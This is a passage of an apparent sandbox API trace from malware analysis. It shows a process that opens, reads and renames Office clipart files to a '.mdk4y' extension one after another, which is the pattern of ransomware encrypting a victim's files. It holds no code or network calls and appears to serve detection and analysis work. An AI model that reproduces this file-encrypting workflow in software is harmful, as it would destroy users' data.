QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822439000000) returned 1 [0149.160] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822439000000) returned 1 [0149.160] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.mdk4y")) returned 1 [0149.161] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.161] AreFileApisANSI () returned 1 [0149.161] GetACP () returned 0x4e4 [0149.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107192.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107192.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.161] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822439200000) returned 1 [0149.162] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x26f0, lpOverlapped=0x0) returned 1 [0149.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822440200000) returned 1 [0149.172] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822440200000) returned 1 [0149.172] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.mdk4y")) returned 1 [0149.173] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.173] AreFileApisANSI () returned 1 [0149.173] GetACP () returned 0x4e4 [0149.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107254.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107254.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.173] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822440400000) returned 1 [0149.174] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4ef4, lpOverlapped=0x0) returned 1 [0149.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822442000000) returned 1 [0149.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822442000000) returned 1 [0149.190] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107254.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107254.wmf.mdk4y")) returned 1 [0149.191] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.191] AreFileApisANSI () returned 1 [0149.191] GetACP () returned 0x4e4 [0149.191] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107258.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107258.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.192] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822442300000) returned 1 [0149.193] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2168, lpOverlapped=0x0) returned 1 [0149.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822442400000) returned 1 [0149.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822442500000) returned 1 [0149.195] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107258.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107258.wmf.mdk4y")) returned 1 [0149.196] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.196] AreFileApisANSI () returned 1 [0149.196] GetACP () returned 0x4e4 [0149.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107262.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107262.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.196] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822442700000) returned 1 [0149.197] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1f3c, lpOverlapped=0x0) returned 1 [0149.203] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822443300000) returned 1 [0149.203] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822443300000) returned 1 [0149.203] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107262.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107262.wmf.mdk4y")) returned 1 [0149.204] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.204] AreFileApisANSI () returned 1 [0149.204] GetACP () returned 0x4e4 [0149.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107264.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107264.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.205] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.206] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822443600000) returned 1 [0149.206] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1498, lpOverlapped=0x0) returned 1 [0149.217] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822444700000) returned 1 [0149.217] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822444700000) returned 1 [0149.218] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.mdk4y")) returned 1 [0149.219] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.219] AreFileApisANSI () returned 1 [0149.219] GetACP () returned 0x4e4 [0149.219] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107266.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107266.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.219] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.219] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822444900000) returned 1 [0149.219] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16ec, lpOverlapped=0x0) returned 1 [0149.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822449500000) returned 1 [0149.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822449500000) returned 1 [0149.266] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.mdk4y")) returned 1 [0149.267] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.267] AreFileApisANSI () returned 1 [0149.267] GetACP () returned 0x4e4 [0149.267] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107280.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107280.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.267] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822449700000) returned 1 [0149.267] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2b64, lpOverlapped=0x0) returned 1 [0149.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822449800000) returned 1 [0149.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822449800000) returned 1 [0149.269] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.mdk4y")) returned 1 [0149.269] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.269] AreFileApisANSI () returned 1 [0149.269] GetACP () returned 0x4e4 [0149.269] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107282.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107282.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.269] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822450000000) returned 1 [0149.270] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3734, lpOverlapped=0x0) returned 1 [0149.282] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822451200000) returned 1 [0149.282] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822451200000) returned 1 [0149.283] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.mdk4y")) returned 1 [0149.283] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.283] AreFileApisANSI () returned 1 [0149.283] GetACP () returned 0x4e4 [0149.284] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107288.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107288.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.284] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.284] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822451400000) returned 1 [0149.284] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x347c, lpOverlapped=0x0) returned 1 [0149.285] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822451500000) returned 1 [0149.286] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822451500000) returned 1 [0149.286] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.mdk4y")) returned 1 [0149.286] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.286] AreFileApisANSI () returned 1 [0149.286] GetACP () returned 0x4e4 [0149.286] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107290.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107290.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.287] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.287] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822451700000) returned 1 [0149.287] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3014, lpOverlapped=0x0) returned 1 [0149.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822457000000) returned 1 [0149.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822457000000) returned 1 [0149.341] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.mdk4y")) returned 1 [0149.342] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.342] AreFileApisANSI () returned 1 [0149.342] GetACP () returned 0x4e4 [0149.342] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107300.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107300.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.342] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822457200000) returned 1 [0149.342] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x99c, lpOverlapped=0x0) returned 1 [0149.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822461500000) returned 1 [0149.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822461500000) returned 1 [0149.386] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.mdk4y")) returned 1 [0149.387] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.387] AreFileApisANSI () returned 1 [0149.387] GetACP () returned 0x4e4 [0149.387] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107302.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107302.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.387] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.388] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822461800000) returned 1 [0149.388] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1028, lpOverlapped=0x0) returned 1 [0149.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822468500000) returned 1 [0149.455] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822468500000) returned 1 [0149.456] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.mdk4y")) returned 1 [0149.456] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.457] AreFileApisANSI () returned 1 [0149.457] GetACP () returned 0x4e4 [0149.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107308.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107308.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.457] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822468700000) returned 1 [0149.457] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3e10, lpOverlapped=0x0) returned 1 [0149.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822471200000) returned 1 [0149.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822471200000) returned 1 [0149.483] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107308.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107308.wmf.mdk4y")) returned 1 [0149.484] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.484] AreFileApisANSI () returned 1 [0149.484] GetACP () returned 0x4e4 [0149.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107314.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107314.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.484] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.484] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822471400000) returned 1 [0149.485] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a64, lpOverlapped=0x0) returned 1 [0149.551] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822478100000) returned 1 [0149.551] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822478100000) returned 1 [0149.552] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 